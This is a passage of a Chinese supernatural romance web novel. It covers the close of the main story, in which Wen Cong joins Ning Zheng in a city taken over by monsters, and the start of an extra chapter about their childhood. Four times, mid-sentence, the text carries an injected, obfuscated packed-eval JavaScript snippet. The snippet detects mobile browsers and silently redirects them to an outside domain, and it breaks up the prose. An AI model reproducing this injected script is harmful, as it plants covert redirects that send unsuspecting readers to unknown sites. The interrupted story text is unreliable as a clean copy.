这群人并不认为【它们】的出现是灾难。相反,在【觉醒派】看来,这是一个史无前例的机遇。 人类终将全部向【它们】转化,并且在这过程中得到无与伦比的力量! 对此,宁琤的评价一直都是:“神神叨叨的。小淙,下次碰到的时候记得离他们远一点。” 闻淙乖巧点头。 在这种不重要的小事上,哥说什么就是什么。 眼下嘛,虽然刚刚违背过宁琤的意愿,但哥最后也选择来接他了。所以在闻淙看来,自己依然是乖巧.jpg。 他若有所思。就连从前那个世界中,接触到【怪谈游戏】的人始终有限的情况下,【觉醒派】都屡屡出现,那现在…… “想什么呢。”宁琤打断了闻淙的思绪。一边说话,一边上下打量他。 闻淙立刻回过神。原来就在前面头脑风暴的时候,自己已经来到了学校门口。 看着眼前的人,他再度阳光灿烂起来:“哥!我就知道你肯定舍不得我。” 宁琤:“……” 宁琤面皮抽动一下,到底没选择把人重新推回学校,而是把伞打起来,随口说:“走吧,先回去。” 不听话的弟弟,回家再教训。 ……不听话的男朋友也一样。 闻淙好奇地看了那把透明的伞一眼,又发现一点不同。 上面竟然也是【油漆】啊。 原来签过合同之后,增加的不光是伤口恢复能力,还有眼力吗? 话说回来,他刚才就发现了,哥的头发…… 不过,以【它们】一员的眼光来看,闻淙又能确定,宁琤这会儿还在健康状态。 他松一口气,暗暗把对此的疑问也放在“回家再说”的范围内,人则听话地朝宁琤凑了过去。 “哥,”闻淙可怜巴巴,“我腿疼,走不动。” 宁琤瞥他。 闻淙告状:“特别疼!那个狼不知道有多重,哎哟哎哟。” 宁琤低声念了一句什么。 闻淙暂停前面的话,疑惑地追问:“哥,你刚才说什么?是不是嫌我重,不让我睡觉的时候趴在你身……” 唔! 嘴巴又被捂住了。闻淙再度开始朝宁琤露出“我超懂事,你瞧你瞧你瞧”的神色。 宁琤忍不住深吸一口气,有种自己以后生活也会重任在身的感觉。 “别啰嗦了。”他警告闻淙,“【雾】不知道是在谁手里受了伤,这才成了现在这样。这东西肯定不会甘心的,要是咱们一直在外面耽搁,恐怕还会有麻烦。” 闻淙听着这话,瞳仁微微收缩。 宁琤耳根终于清净。他一只手打伞,一只手把闻淙的手臂送到自己肩上,扛着人就往斑马线边走。 “哥,”闻淙又开始叫他,“我可以自己走。” 宁琤没理他,继续往前。 闻淙嘴巴动了动,没再说什么。 他看着宁琤的侧脸,目光长长久久地描绘着对方面颊上的每一点细节。 现在哥的头发是白的,眉毛、睫毛也都一并变成了白的。 很奇妙,也很好看。 闻淙觉得自己的心跳又开始加快了。他忍不住重新扭过头,去看前方出现的小区大门。 这一瞧才意识到,原来宁琤走过来的这一路,留下一条五颜六色的油漆小道。 闻淙先是愣了愣,随即开始心疼。 哥嘴上不说,但他来找自己,一定也很辛苦。 抱着这样的想法,后面一路,青年都是安静的。 这份沉默一直维持到了宁琤家里。看着沙发前空空如也的油漆桶,闻淙只觉得喉咙都开始收缩。 其实早就应该意识到。 今天碰到了那么多状况,而哥人虽然没在,实际却一直在保护自己。 那些被他细细刷到自己身上的油漆就是证明。 闻淙心神动荡。这时候,宁琤重新把伞收好,转头问闻淙:“晚上吃什么?——冰箱里还有一点【雏鸟驿站】留下来的【肉】。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731681|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻淙的表情一下子变得古怪。 “啊?”他吃惊,“竟然是院子里那些……我说最近几天怎么突然安静了!” 宁琤无语,“你不会还以为那是什么鸡肉吧。” 闻淙抓抓头发:“那倒是没有。哎哥你都不知道,我刚来你家吃饭的时候其实挺紧张的,尤其你给我整什么‘凉拌菜’,我看着那血刺啦呼的样子就下不了嘴,里面的眼球还一直看着我。 “但后面仔细一想,你一直说让我吃一点,那估计吃了以后会有什么特殊的效果,终于鼓起勇气试了试。” 宁琤纠正他:“那不是眼球,是一种植物。” 闻淙“嘿”地一笑:“我知道。后面一尝就发现了,味道还有点像是咱们家那边的小菜。脆脆的,有点酸。”哥都不是人了,口味竟然还没变。 至于“是一种植物”的说法,选择性听听就行,哪家植物能盯着人看啊。 闻淙快速调整心态。宁琤似笑非笑看他,又道:“你现在已经是榴花市的人了,【房东】应该明天就会过来带你办门禁卡。拿到了之后,咱们再办合并房子的事。” “啊?今晚还不能和哥睡吗?……好吧。” 闻淙脑袋上那双看不见的耳朵耷拉下来一点。 宁琤微微手痒,“虽然你已经……但这段时间,除了出门上班之外,你最好还是不要出门。” 闻淙用力点头:“嗯嗯,和哥二人世界嘛!” 宁琤:“……” 宁琤揉了下眉心:“你得好好想想自己的【能力】和【致命规则】是什么。我是直接从人变成……的,那会儿自然就知道自己身上是什么情况,可你……” 不如说这才是正常情况中由人类变成【它们】一员的方式。如闻淙一般,在还是人的时候就得到了一个有招聘能力的【它】的认可,从而发生转化的状况,宁琤从未听说。 闻淙被他提醒,自己也认识到了事情的严肃性,“我知道了,哥,你放心。” 宁琤短暂地微笑了一下。 闻淙话锋一转,“那哥,你——” 宁琤保持着笑容,轻轻摇头。 闻淙一怔,咽下了后面的话音。 宁琤道:“我的【能力】你已经看到了。”就是【油漆】,“【致命规则】的话,一般人想要知道,只有两种方式。 “要么,根据【它们】的行为自己总结。” 这也是榴花市的人类组织一直在做的事情。上到城市交通规则,下到明月湾的居民生活指南。 “要么,拿出自己的【规则】交换。” 这本身又是一种【规则】。不过鉴于闻淙已经开始两眼冒花,宁琤便没有说得这么复杂。 他最后道:“不过你放心,我的【规则】被触犯的可能性很低。你的话,应该不太可能出那种状况。” 闻淙深吸一口气,摸了摸鼻子:“哦……” 宁琤挑眉,“你这样子,是还想说什么吗?” 闻淙先摇头,再点头。 “哥,你漫不经心说这种话的样子,好帅哦。” 宁琤:“……谢谢。快去厨房干活儿。” 19.正文完 看着冰箱里剩下的【肉】的数量,宁琤考虑片刻,决定今晚涮火锅。 闻淙又在他身边转来转去,“火锅?是不错,不过咱们好像没有蔬菜?” 宁琤:“嗯,叫外卖来送点吧。” 闻淙双眼亮了一下,又有点紧张。 他胡思乱想:“这种时候还能送来的‘外卖’,肯定不是人干的,那会把不会有危险?……但我又不是人,哥也不是,这个小区肯定也有问题。那算什么,黑吃黑?” 青年暗暗咽了口唾沫。没想到啊,自己才刚刚签过合同,就要面临这么刺激的场景了。不过按照哥前面那些介绍,想要弄清楚自己身上的变化,大概的确需要往危险的地方闯一闯。 闻淙心头燃起雄心壮志,小声问:“那哥,到时候我先上。要是出了什么问题,你再捞我。” 宁琤听着这话,诧异地看他一眼:“上什么?” 闻淙迷惑:“就是,你点外卖……” 两人花了点时间,终于弄清楚对方的意思。 宁琤哭笑不得:“你都在想什么?就算是【它们】——呃,‘我们’,也不是一天到晚都在打打杀杀啊。” 闻淙低下脑袋,虚心受教。 宁琤举例:“你们学校那些老师明显也都不是人吧?但大家不都在好好地上班下班?” 闻淙思考,好像还真是这样。 这就牵扯到另一个问题了。他直觉自己真说出来,哥一定会生气。可眼下木已成舟,自己又的确好奇。 闻淙还是说了:“那哥,如果这个世界并没有那么危险,你为什么不想让我留下来?” 早前他还是【怪谈游戏】的一名参与玩家,很多话宁琤没法在明面上讲出来,只能含混地不停告诉闻淙,要他离开,“回老家”。 现在不一样了。笼罩在青年身上的力量被压制,宁琤的顾虑消失。听着闻淙的问题,他怔了怔,还是带着些许复杂地开了口:“没有那么危险……不代表不危险。” 闻淙抿一抿嘴,觉得自己会被捏耳朵。然而他已经做好了准备,等来的却只是宁琤的叹息声。 这反倒让青年一个激灵。再去看宁琤,便见人背对着自己。已经操作好在手机上叫蔬菜的事了,这会儿只在一下一下地切肉。 闻淙听着厨刀与肉块摩挲过,再落在案板上的动静,心头的忐忑越来越重,忍不住叫:“哥——” “你在那边,”宁琤说,“总是有‘安全时间’的。” 闻淙沉默。 宁琤:“一场【游戏】结束了,在下一场开始之前,你都知道自己肯定不会出事。哪怕……是真遇到了‘污染扩散’的情况,也只是一小块区域,只要离开就不会有问题。” 闻淙听见自己的心脏在不停跳动。咚咚声里,好像自己还是和从前一般无二的人类。可他又知道,一切都已经不一样了。 宁琤:“这里不一样。小淙,你住的小区,平时遇到的邻居,每天相处的同事、学生,【它们】全都……这个世界已经完全‘沦陷’了,哪怕还有人类生活在里面,也只是在垂死挣扎而已。 “一部分人根本不知道自己身边正在发生什么,就那么无知无觉浑浑噩噩地活着,直到触犯到【它们】当中的某一个【致命规则】,死都死得不明不白。 “一部分人是清醒的,他们可以避开一些……但这只会让他们更加痛苦。 “小淙,我之前有遇到过……他们死的时候,有人会觉得绝望,有人却会觉得这是一种解脱。” 说到这儿,宁琤的声音停顿了一下。 闻淙从背后抱住了他。青年的胸膛是温暖的,心跳也是真实的。他还把下巴搭在宁琤肩膀上,于是吐息全部落在宁琤耳畔。“哥,你就打算自己在这种地方待着,让我一直记挂你吗?” 这回换宁琤沉默了。他握着刀柄的手停顿了一下,这才继续去切肉,“你才二十三岁。就算一开始会记挂我,以后也会慢慢放下的……小淙?” 宁琤感觉到了耳畔的湿热。他想要侧头去看,可闻淙已经把脑袋埋在他的肩膀上,拒绝被看清表情。宁琤只能无奈地听着抽噎声,过了好一会儿,终于等到闻淙的情绪稳定下来。 宁琤试探地又叫了一声:“小淙?” 闻淙的嗓音还是哑的,“不许这么叫我,我生气了!” 宁琤:“……” 他低头去看依然紧紧扣在自己腰间的手。某人嘴巴上厉害,行动却一点都不一样。 “凭什么啊。”闻淙说,“你凭什么就这么简简单单地说我能放下你?我爸妈走了,宁叔也走了,我只剩下你——” 宁琤嘴巴张开一点,又闭上。 闻淙:“他们都死在这个地方了,然后连你也……你还是为了救我死的。宁琤,你知不知道那段时间我是什么情况?我有多后悔自己竟然真的听了你的话走了,而不是和你一起死在这里。” 宁琤心想,看来是真生气,连自己名字都敢喊。 闻淙缓了片刻,这才继续开口。 “后来,我听说有其他玩家被分到了‘秦川省人民医院’。 “咱们之前不是已经意识到了吗?【怪谈游戏】送我们去的一些地方是存在关联的,而咱们之前……那次任务,”也就是宁琤“死去”的那一次,“地点就在秦川省的省会。 “所以我联系上了那个人,想知道更多关于这个地方的消息。我根本没有想到他见过你,可是哥,他误会了,以为我已经知道所有事,所以主动说,虽然你让他隐瞒你的消息,可既然我猜到了,那就也不用再……” 宁琤无语。憋着。 谁能想到,竟然还有这样的阴差阳错。 他自然不会后悔自己那会儿的“多管闲事”,但要是提前知道这个做法会把闻淙招惹来,他肯定会更小心一点。 “你竟然还活着。”闻淙的声音变得很轻,像是在做梦一样,“那我怎么能不来见你?我在论坛上发了帖子,一方面是搜集可能是榴花市的【游戏】,一边是找要在这边参与【游戏】的人。 “他们倒是都愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769831|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带上我,能有人分担风险总是好事。可是我之前去的几个地方都距离你太远了,根本不可能来找你。我以为不会再有希望了,可是——可是这一次,竟然有人和我说,他的游戏地点是【光明小学】。” 和宁琤在【明月湾小区】的时候,闻淙无数次从窗户中看到这个地方。他自然知道,它就在宁琤住所对面。 “我终于可以来见你了,哥。”闻淙说,“我那么高兴,可真的来了又开始担心。好不容易找到你了,你对我又是那种态度……” 宁琤表情复杂:“小淙,你能不能先把手从我衣服底下拿出来?” 闻淙:“……” 闻淙又开始抽鼻子。宁琤转过脸,摸摸他已经抬起来了的脑袋,哄男朋友:“外卖快到了,总不能让人家看见。” 像是为了印证他的话,在宁琤话音落下的刹那,两个人旁边的窗户外传来了“笃笃笃”的敲击声。 “你好,”一道怪异尖锐的声音叫道,“‘吃了么’外卖!” 闻淙霎时手脚僵硬,警惕无比地朝外望去。不止如此,宁琤还感觉到,男朋友似乎在尝试把自己挪到对方后面。 他觉得好笑,又有些酸酸涨涨的情绪蔓延开。 闻淙是真的很怕再次失去自己。 如果自己做不到放下对方,那强求闻淙,大概也不是一件正确的事。 “没关系。”宁琤拍了拍男朋友落在自己腰间的手,打开窗户去取外卖。 一路安然,无事发生。 除了窗户关上之后,闻淙似乎听到一声不太清晰的惨叫。 他又生出了几分迷茫。宁琤没有看他,却也猜到男朋友在想什么,顺口解释:“它上来的时候估计伤到了咱们单元楼的外墙吧,【小区】生气了。好了小淙,你去洗菜,别光站着不干活儿。” 闻淙眨巴眨巴眼睛,虽然十分舍不得,却还是答应下来。 只是临走的时候,他在宁琤脸颊上亲了一下。 宁琤唇角勾了起来,又快速压了下去。 两个人一起干活儿,火锅很快就上桌。 热汤“咕嘟咕嘟”地冒着鲜香气味,肉片和蔬菜一起滚入当中,顷刻便熟透。 宁琤没再拿一次性餐具给闻淙吃,而是让他取来自家的普通碗碟。“你之前不算榴花市的居民,在自己家用这些倒是没什么,但是在别人家还是得注意一点。” 闻淙点头。他本就有猜到这些,眼下只感叹:“现在这样,感觉和之前也没有区别。” 有热乎乎的晚饭,有坐在桌子另一边一起吃饭的人。 幸福感从闻淙心里冒了出来,尤其是在饭菜慢慢下肚、宁琤的发色随之缓缓变成从前的黑色之后。 过往与当下在闻淙心头重叠,化作无穷无尽的快乐。 他高高兴兴地埋头大吃,同时心想: “从明天开始,我就不是哥的邻居了—— “而是家人。 “独一无二、最重要的家人。” 《新邻居》/正文完 20.番外一(上) 宁琤小的时候,常常会做一个梦。 自己迷迷糊糊地夜间醒来,感觉门缝里正透出灯光。已经很晚了,可爸爸妈妈竟然还没睡觉。 他拉一拉自己的被子,在黑乎乎的卧室里张望。“出门瞧瞧,看爸妈这会儿在说什么”的念头总是很快地冒出来,可与此同时,他又会听到“咚”的一声从床下传来。 如果下床的话,可能会发生很可怕的事情。 这个念头模模糊糊地冒出来,年幼的孩童将被子扯得更紧了些,默默地把脑袋也埋在底下。 如此不久之后,他再次睡着了,新的梦境当中倒是一片安宁。 不过,第二天早晨起来的时候,宁琤又会生出隐隐约约的后悔。 自己已经很久没有见到妈妈。朝爸爸询问的时候,总是只能得到“妈妈在忙于工作”“在很远的地方出差”一类回答。可出差真的需要这么久吗?在相信了很长时间之后,疑窦终于伴随着思念一起增长起来。宁琤还是问出来:“爸爸,你和妈妈离婚了吗?” 是啊,除此之外还能有什么答案呢?另外的选项对于一个孩童来说还是太过遥远。 宁旭升听到这话,表情变了变,目光落在正用忐忑目光望着自己的儿子的面颊上。 “不。”他告诉宁琤,“你妈妈很爱我们,我也很爱她。我们不会离婚的,你放心吧。” 大概就是那天晚上吧,宁琤的梦境有了变化。 他比平时更有勇气些,愿意下床去门缝边一探究竟。 可这条路远比宁琤原本以为的艰难。白天不过几步远的路途,到了夜晚却仿佛怎么都走不完。 从八岁走到十岁,他终于能够来到门边。 外间的说话声也变得清晰,却是争执的动静。 宁琤手撑在门框上,愣愣地看着前方透着光的缝隙。 他其实已经不太记得妈妈的模样,但总觉得那是个对外干练、对自家人又亲近温柔的女人。和爸爸的感情也很好,一家人共度的场面总是其乐融融。 可现在,“离婚”两个字却刺耳地从外间传进来。宁琤手脚发凉,惊惧又伤心。 果然是这样。爸爸就是骗了自己。 可好端端的,怎么就要离婚?……是因为我吗?我不够乖巧,不够聪明,不像其他孩子一样能拿各种各样的奖项…… 梦境模糊了过往与当下的界限,宁琤忽地生出一种开门去向父母问清发生了什么的冲动。 他也的确推开门,可再接着,就是从睡眠中惊醒。 …… …… 又一次尝试推门而出失败后,宁琤一整天都沉浸在郁郁情绪当中。 一直到放学到家,他也没打起精神。 妈妈到底去了哪里,她和爸爸之间到底发生了什么? 抱着这些问题,他推开自家屋门,惊诧地发现沙发上坐着客人。 宁琤下意识地抓住书包带,随后乖乖叫:“叔叔阿姨好。” 这对客人便是闻淙的父母,闻达和陈慧敏。 宁琤之前也见过他们,知道两人和爸爸私交不错。他以为这是长辈之间普通的聚会,结束“小琤又长高了”的流程之后自己就能回房间做作业。没想到,招呼打完,一个比自己小许多岁的男孩儿被从自己房间叫了出来。闻叔叔和他介绍,说这是叔叔家的小孩,名叫小淙。 宁琤的脸色大变。看看身边的小男孩——客观地说,长得是挺白净可爱——再看看自己的屋子。 我的乐高我的模型我的零食! 他干巴巴地和小淙笑了一下,视线则一下一下地瞄向房间。大人们显然领会不到宁琤这会儿的担忧,却也和他讲,要他快点把书包放回房间,而后几个人就出去吃饭。 宁琤的注意力立刻从小淙身上挪开,冲进自己的屋子。 好消息,他在爸爸的帮助下认真上色喷漆的模型、花了整整一个月时间终于拼好的乐高飞船都安然无恙,小淙似乎只是翻开几本被堆在书架边角、他已经很久没有触碰过的故事书看。 看着那些摊开在床上的书册,宁琤有些犯嘀咕:“这么小一点,真的能看懂吗?” 这时候,他听到背后传来一声稚嫩的嗓音,叫他“哥哥”。 宁琤回过头,见小男孩站在自己身后,露出一个灿烂的笑容。 看起来傻乎乎。 他眨了下眼,却还是拉住了小男孩伸出来的手。 那天晚上,宁琤第一次见到闻淙,也第一次发现自家换了邻居。 闻叔叔和陈阿姨搬家过来,闻淙也开始在小区附近上幼儿园。 叔叔阿姨工作辛苦,宁琤的爸爸便主动接过送闻淙去幼儿园的任务。“他一礼拜五天都住学校,我就是周一送一下,周五接一下,费什么事儿?”见好友夫妇还在犹豫,又补充,“总归我本来就要送小琤,一样的——咱们之间还客气什么啊!” 于是,宁琤周一清晨在早餐店的塑料小桌子边吸溜胡辣汤的时候,身边多了个弟弟。 周五放学回家路上,也多了个拉着他的手的粘人精。 碰上那些叔叔阿姨会忙到连家也没时间回的周末,闻淙便会住在宁家,和宁琤挤在一张床上。 他叽哩哇啦地和宁琤讲幼儿园里发生了什么,宁琤听得昏昏欲睡,却还是打起精神回应。 这是待客之道。他告诉自己。再说,自己是“哥哥”嘛。 “哥哥,”小淙问他,“老师还说,让我在演出的时候站在中间!到时候你来看吧,来看吧?” 宁琤再度打起精神:“我还要上学呢。” 小淙失望,瘪瘪嘴巴。 宁琤开始紧张,在他哭出来之前安慰:“你让老师多拍点照片嘛,回来给我看。” 小淙不太满意这个答案,却还是答应下来,“好。” 宁琤还听到一句:“爸爸妈妈来不了,哥哥也来不了。” 他闭着眼睛,心想,这有什么? 总好过一直是爸爸参加你们学校的各种活动,于是有人问你,宁琤,怎么没见过你妈妈呢? …… …… 宁琤上高一的时候,身边发生了一件大事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779899|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 闻淙的父母去世了。爸爸私下告诉他是车祸,“不敢让小淙知道,尽量瞒着吧,那孩子才多大呢。” 宁琤听了这话,心里莫名“咯噔”一下,紧接着又告诉自己:“不会,我妈她……我不是早就知道了吗,他们是离婚。” 他自我安慰完,紧接着问:“真能瞒住吗?叔叔阿姨怎么突然……” 宁旭升摇摇头,叹道:“能缓一天是一天吧。” 事情最后还是没藏住。那天宁琤放学回家,再次在客厅沙发上看到客人。是闻淙的姑姑,她不放心侄子一直留在旁人家里,于是想要把闻淙带回自家。 宁旭升带着些尴尬地和闻姑姑讲话,闻淙则在宁琤的房间里哭。 等宁琤进去,他便红着眼睛问:“你们为什么都要骗我?” 宁琤说:“大人总觉得瞒着这种事是为了孩子好。” 闻淙听得一愣,“那你……” 宁琤问:“为什么不想和你姑姑走?” 闻淙瘪嘴,眼泪又掉下来了:“我不要……我——” 他说得颠三倒四,吞吞吐吐,可宁琤还是猜到了,无非是觉得姑姑家里的状况是未知的。 小孩子恐惧“变化”,这不是错。 但宁旭升还是考虑到闻姑姑是闻淙最后的、有血缘关系的家人。自己和闻达夫妇虽然是朋友,却毕竟隔着一层。 人在时照顾朋友的孩子正常,眼下却没那么合适。 就这样,闻淙还是跟着姑姑离开了。只是走时看宁琤的眼神都多了失望,像是只被抛弃的小狗。 宁琤有些不忍心,但他毕竟已经上高中,知道除了亲缘关系以外,另一个尴尬地横在爸爸与闻姑姑之间的问题是叔叔阿姨留下的遗产。 “我和她聊过,”爸爸看出他的情绪,出言安慰,“她是真的做好照顾小淙的打算了,家里房间都已经准备好,是单独的屋子。之前你闻叔他们在的时候,也说和她关系其实不错,只是……工作太忙,所以联系得少。” 宁琤点点头,“我先去做作业。” 日子还在一天天地过,只是安静不少。 宁琤本以为自己喜欢这种感觉,可真正迎来的时候,却开始不习惯。 没有人搬个凳子和他挤一张桌子写作业,没有人拐弯抹角地明示暗示他周末要不要带自己出去玩。 新出的模型很无聊,新上映的电影也很无聊。 无聊的日子过了两个月,放学回家的宁琤在门口看到闻淙。穿着校服,站在家门口发呆。 他没有听见宁琤的脚步声,大约是思虑太过深重。 宁琤望了他片刻,走过去,问:“你又忘记拿钥匙了?” 闻淙一个激灵,蓦地转过头来,用一种警惕又戒备的目光看着宁琤。 分辨出是谁过来了后,神色里多出几分伤心和委屈。 反应这么大,闹得宁琤也有点紧张。他胡思乱想,看闻淙的反应,就知道他是偷偷跑回来的,那自己是不是应该…… “我家有备用钥匙。”宁琤问,“你要用吗?” 21.番外一(中) 闻淙板着脸,和宁琤一起进了家门。 明明是从小就来过无数次的地方,这会儿却一副“我和你不熟”的样子,始终和宁琤保持一米以上距离。 宁琤在他看不见的地方皱眉,一边找钥匙一边尽量温和地问:“怎么突然过来了?”后半句才是重点,“是不是你姑姑对你……” 闻淙打断他,语气干巴巴的:“我姑对我挺好,你别乱说。” 宁琤沉默片刻。这时候,隔壁的钥匙已经出现在他眼前了。 是把它递给闻淙,让态度不好的小鬼赶紧消失在眼前,还是多问两句呢? 这似乎是一个不用考虑的问题。 宁琤拿起钥匙,转过身,“那你怎么突然回来?不好好说清楚,东西就不给你。” 闻淙眼睛一下子就睁大了,满脸不高兴地瞪宁琤。 宁琤完全不会被这点小眼神威胁到。他把钥匙圈套在手指上转了转,笑着开口:“怎么办,东西在我手里啊。” 闻淙被他激怒了,在原地站了会儿,接着转身就走。 宁琤歪着头看他,在闻淙已经要迈出门槛的时候突然开口:“小淙。” 闻淙的脚步停了停,但是没有回头。 宁琤抿了抿嘴,语气缓和了很多:“我……其实一直都挺想知道你现在过得怎么样。还和我爸商量呢,是不是要去看看你。” 闻淙的肩膀明显发僵。 宁琤又说:“你是放学之后直接过来的吧?饿不饿,我给你煮点东西吃?” 闻淙终于给出回应:“你骗我!你根本就不想我,否则怎么可能……” 宁琤无言以对。 这怎么就哭了呢? 态度不好的小鬼,一下子成了哭哭啼啼的小鬼。 抱着纸巾盒,在宁琤面前掉了五分钟眼泪。 还不忘时刻紧盯宁琤,在他马上要碰到手机时加大哭声:“你果然是骗我!就是想给我姑姑发消息。” 宁琤若无其事地把手拐了个弯,“你看错了,我是要拿遥控器。小淙,你看会儿电视吧,我瞧瞧冰箱里还有什么去。” 闻淙闷闷地应下来了,但还是一副不打算和宁琤坦白的样子。 宁琤只好先去煮馄饨,还顺便给闻淙拿了饮料。他的思路很简单,小鬼既然盯着自己,不让自己拿手机,那就让对方自己先从沙发上离开。 “你先喝着。”他说。闻淙到底还是小孩,见到饮料也很高兴。尤其宁琤还给他插了吸管,于是他在接过易拉罐时先礼貌地道了谢,才问:“宁叔叔还没回来吗?” 宁琤回答:“可能是加班吧。没关系,咱们吃东西。” 一个人照顾小孩有多辛苦,他是从小就看在眼里的。 所以在稍稍有了自理能力后,宁琤就开始尽量自我照顾,宁旭升对此十分欣慰。 给闻淙送完饮料后,宁琤又回了厨房煮馄饨。 他这次发挥不错,一锅馄饨只破了一半。 宁琤满意地在碗底放了香油、醋、虾米等东西,再将热汤浇下去,馄饨放进去,葱花细细地撒好,然后端到客厅和闻淙一起吃。 闻淙这会儿已经不哭了,只是脸上还有点印子。 闻到碗里飘来的香味,他先是开心。可开心没一会儿,就看到了碗里的一堆面皮。 闻淙沉默,偷偷去看宁琤的碗,怀疑某人在携私报复。 但很快他又觉得自己是误会宁琤了,毕竟对方自己吃得很开心。 闻淙只好从另一个角度考虑问题。这是哥亲手做的,嘿嘿,亲手! 两个人埋头干饭。饭后,宁琤让闻淙去洗碗。 闻淙瘪了瘪嘴,但还是去了。宁琤跟过去,看着闻淙的动作比之前还生疏了点儿,终于松了口气。 他在心头划掉“灰小子闻淙被姑姑指使干活儿”的剧本,又想,那这小子为什么偏偏是今天……难道今天是叔叔阿姨的生日? 这倒的确是宁琤的知识盲区。他皱着眉头思索了会儿,期间闻淙也关掉了水龙头。刚才用掉的饮料开始发挥作用,小鬼出了厨房就进了厕所。 宁琤抓紧时间给爸爸发了消息。刚把手机放下,闻淙就出来了。 不等对方狐疑地问自己站在手机旁边是不是要告密,宁琤便道:“走了,去写作业。” 闻淙又露出不太高兴的样子,但还是点了头。 高中生的作业和小学生自然不是一个量级。闻淙写了半小时,宁琤则直接写到十一点。 等到他终于解决掉最后一份练习册,闻淙已经在他床上睡着了。 宁琤站在床头看他,过了会儿,叹出一口气。 他没把闻淙叫起来,而是到客厅看手机。爸爸在八点出头那会儿给他发了消息,说他知道了,让宁琤先把闻淙留在家里。 “他姑姑没联系我。我给小淙班主任打了个电话,说是问作业的事儿,那边也正常回复了。小琤,我觉得这里头是有点问题。” 十岁的孩子,已经这么晚了却还未回家,家里人起码要和学校确认一下吧? 闻淙姑姑却一点反应都没有。别说宁旭升了,宁琤也觉得事情有点麻烦。 虽然爸爸的最后一句话是他这会儿很忙,但宁琤还是拨通了对方的电话,然而无人接听。 他愈是发愁。这时候,听到了卧室传来的脚步声。 闻淙不知什么时候醒了过来,这会儿站在屋子门口,一动不动地看着宁琤。 宁琤打量他一会儿,见小鬼还是一脸倔强的表情,看样子是什么话都不会和自己说了。 他便道:“醒了?去洗脸刷牙,收拾好再睡觉。” 闻淙的神色明显变得亮了起来。 不多时,两人再度像从前一样,一起睡在床上。 宁琤闭着眼睛,听旁边的小鬼翻来覆去,覆去翻来,终于道:“要么说话,要么别乱动了。” 闻淙不动了,宁琤继续尝试入睡。半梦半醒的时候,听见一声:“哥?” 宁琤眼皮抖了抖,没抖开。 闻淙观察着他,见状有些失望。 宁琤又抖了抖眼皮,这次开了。 “到底说不说了?”他嗓音里带着浓浓的倦意,“你哥我六点就要起床上学,哪儿像是你,能一觉睡到七点半。” 闻淙露出几分紧张,却还是压低了声音,轻声道:“我姑姑对我真的挺好。” 宁琤:zzzzz ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788634|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻淙:“……但是,”委屈终于压不住了,“我哥和我姐说,如果不是我,他们就不用像现在这样和姑姑姑父挤着睡觉。一开始是问我什么时候走,然后说让我在阳台睡……我姑父听到了,让他们不要这么讲,还说——” 宁琤:“还说什么?” 闻淙抽了抽鼻子,“我家的房子,加上我爸妈的存款,起码也有两三百万呢,以后都是我哥我姐的。” 十岁的孩子已经懂得很多。他站在房间门口,收回敲门的手,安静地流着眼泪。 不想在姑姑家待下去,想回到自己家里。 可是姑姑的确在努力对自己好了,她不知道家里其他人说的话、做的打算。闻淙小心翼翼地提出自己可以睡在沙发上,把房间还给哥哥——因为自己占了人家的地方,才导致哥哥去和姑父睡,姑姑则去和姐姐睡——也被姑姑拒绝了。 中年女人慈爱地和闻淙说,以后姑姑家就是他家。爸爸妈妈不在了,她会照顾侄子。 闻淙又开始语无伦次,“姑父说,我姑就是在为我哥我姐考虑,但我觉得不是这样。可、可……哥,我不想住别人家,我想住自己家!” 他拉住宁琤的手臂,恳求自己真正信赖的兄长,“你帮我和宁叔说说,好不好?我以后还是和之前一样……” 宁琤说:“睡觉吧。” 闻淙一愣,眼泪流得更凶。 宁琤说:“我爸今晚八成不回来了,打电话也打不通,说也不是现在啊。” 闻淙:“……” 宁琤呼噜呼噜他的脑袋,又从床头柜扯了一张纸放在他鼻子下面,“赶紧的,你哥我现在天天睡不够觉,在学校难受得哟。” 闻淙忍住抽噎,快速擦脸。 